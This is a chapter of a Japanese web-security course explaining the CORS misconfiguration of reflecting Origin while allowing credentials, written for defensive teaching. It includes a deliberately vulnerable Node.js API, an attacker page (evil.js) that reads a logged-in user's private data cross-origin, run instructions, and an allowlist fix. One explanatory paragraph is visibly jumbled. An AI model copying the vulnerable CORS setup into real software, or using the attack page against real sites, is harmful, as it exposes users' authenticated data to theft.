コース目次 / 第3章
誤設定の危うさ — 反射 + 資格情報
Originをそのまま反射し資格情報も許可するAPIに、攻撃者サイトから認証済みレスポンスを読み出させます。なぜ*では危険が成立せず反射が使われるかを理解し、厳格な許可リストで直します。
いよいよ、CORS の誤設定が開ける穴です。ありがちで、そして深刻な組み合わせ——Origin の反射 + 資格情報の許可を再現します。今度は本物の攻撃者サイト(:4002)に登場してもらいます。
法と倫理ゲート
手を動かす前に
このコースは攻撃の技術に触れます。実習してよい相手は、次の3つだけです。
- (a) 自分で作った練習用のやられ環境(このサイトが配る自作ターゲット)
- (b) あなた自身の許可された環境(自分の Thousand SKY・secret-notes-ctf など)
- (c) CTF 競技の中(規約の範囲で)
実在する第三者のシステムを許可なく触ることは、不正アクセス禁止法に触れます。 このゲートは、その線引きを毎回の入口で確かめるためのものです。詳しくは「セキュリティの法と倫理」へ。
認証付きの API に、する
まず API を「ログインした人の秘密を返す」形にします。Cookie でログイン状態を持ち、/me がその人のデータを返す——sec-http で見た形です。そしてわざと誤設定します。api.js をこう変えます。
// api.js — 認証付き + わざと危険な CORS 設定。127.0.0.1:4000。
const http = require('node:http');
const server = http.createServer((req, res) => {
const origin = req.headers.origin;
// 【誤設定1】届いた Origin を、そのまま鏡のように許可に反射している。
// 【誤設定2】資格情報(Cookie)付きのやり取りも許可している。
if (origin) {
res.setHeader('Access-Control-Allow-Origin', origin); // 反射
res.setHeader('Access-Control-Allow-Credentials', 'true'); // 資格情報も許可
}
if (req.method === 'OPTIONS') { res.writeHead(204); res.end(); return; }
const url = new URL(req.url, 'http://127.0.0.1:4000');
if (url.pathname === '/login') { // ログイン(このデモでは Cookie を配るだけ)
res.setHeader('Set-Cookie', 'uid=haruto; Path=/');
res.setHeader('Content-Type', 'text/plain; charset=utf-8');
res.end('ログインしました(Cookie を配りました)');
return;
}
if (url.pathname === '/me') { // ログイン中の人の秘密を返す
const uid = /(?:^|;\s*)uid=([^;]+)/.exec(req.headers.cookie || '')?.[1];
res.setHeader('Content-Type', 'application/json; charset=utf-8');
res.end(JSON.stringify(uid ? { user: uid, secret: '口座残高 1,234,567 円' } : { error: '未ログイン' }));
return;
}
res.end('API');
});
server.listen(4000, '127.0.0.1', () => console.log('API: http://127.0.0.1:4000 (Ctrl+C で停止)'));
攻撃者サイト(:4002)
開いた人のブラウザから、:4000 の認証済み /me を、Cookie 付きで読もうとするページです。evil.js として保存します。
// evil.js — 攻撃者サイト。127.0.0.1:4002。開いた人の Cookie を使って :4000/me を盗む。
const http = require('node:http');
const PAGE = [
'<!doctype html><meta charset="utf-8"><body style="font-family:sans-serif">',
'<h1>攻撃者のサイト(:4002)</h1><pre id="out">盗み出し中…</pre>',
'<script>',
// credentials:"include" で、:4000 の Cookie も一緒に送らせる。
"fetch('http://127.0.0.1:4000/me', { credentials: 'include' })",
' .then(function (r) { return r.json(); })',
" .then(function (d) { out.textContent = '盗めた: ' + JSON.stringify(d); })",
" .catch(function (e) { out.textContent = 'ブロックされた: ' + e; });",
'</script></body>',
].join('\n');
http.createServer((req, res) => {
res.setHeader('Content-Type', 'text/html; charset=utf-8');
res.end(PAGE);
}).listen(4002, '127.0.0.1', () => console.log('攻撃者サイト: http://127.0.0.1:4002 (Ctrl+C で停止)'));
攻撃 — 別サイトから、認証済みデータを盗む
被害者になったつもりで、順に。
node api.jsとnode evil.jsを、それぞれのターミナルで起動。- ブラウザで
http://127.0.0.1:4000/loginを開く(= あなたが :4000 にログインした状態。Cookie が入る)。 - そのまま同じブラウザで、攻撃者サイト
http://127.0.0.1:4002を開く。
攻撃者ページに 「盗めた: {“user”:“haruto”,“secret”:“口座残高 1,234,567 円”}」と表示されます。まったく無関係な :4002 のサイトが、あなたが :4000 にログインした状態を使って、あなたの認証済みデータを読み出した。これが、反射 + 資格情報の CORS 誤設定の穴です。
攻撃者は、この :4002 のような URL を踏ませるだけ。踏んだ人が別タブや過去に :4000 にログインしていれば、その Cookie ごとデータを吸い出せます。
なぜ「反射」なのか — * では成立しない
ここが CORS 誤設定の勘所です。
「誰にでも許す」なら Access-Control-Allow-Origin: でよさそうに見えます。でも——ブラウザは、 は使えない。代わりに狙うのが「Origin の反射」です。サーバが届いた Origin をそのまま ACAO: と「資格情報付き(credentials)」の併用を禁じています。 のときに Cookie 付きレスポンスを読ませようとすると、ブラウザが拒否する。
だから攻撃者にとって ACAO に返すと、値は * ではなく http://127.0.0.1:4002 という具体的なオリジンになる。これは資格情報と併用できてしまう。「実質なんでも許可」なのに、形式上は具体的なオリジンを名指ししている——この抜け道が、反射の危険の正体です。
修正 — 厳格な許可リストで、反射しない
直しは、信頼するオリジンだけを、事前に決めた許可リストと突き合わせることです。届いた Origin をそのまま返さない。
// 直したあと: 許可リストに載っているオリジンだけ、明示的に許可する。
const ALLOW = new Set(['http://127.0.0.1:4001']); // 正規のフロントだけ
const origin = req.headers.origin;
if (origin && ALLOW.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin'); // オリジンで応答が変わることをキャッシュに伝える
}
// 許可リストに無いオリジン(:4002 など)には、ACAO を一切付けない。
API を再起動して、もう一度 :4002 を開くと——今度は 「ブロックされた」。:4002 は許可リストに無いので ACAO が付かず、ブラウザが読み取りを止めます。正規のフロント :4001 は、これまでどおり読めます。
原則は、これまでの穴と同じ「許可リスト」です(オープンリダイレクト・パストラバーサルと同じ)。「危ない Origin を弾く」ではなく「信頼する Origin だけ許す」。そして——資格情報を許可する CORS では、絶対に Origin を無条件反射しない・* にしない。信頼リストは短く、具体的に。
持ち帰る一言
反射 + 資格情報は、壁を無意味にする。 Origin をそのまま返し Allow-Credentials: true にすると、任意のサイトが利用者の認証済みデータを読めます。* は資格情報と併用できないため、攻撃者は反射を狙う。直しは厳格な許可リストで、反射しない。次はまとめて、CSP のコースへ橋を渡します。
こうなっていればOK
卒業まであと1章です。
この章はまだ完了していません。
保存できませんでした(プライベートブラウズ中かもしれません)。この端末に進捗は残りませんが、先へは進めます。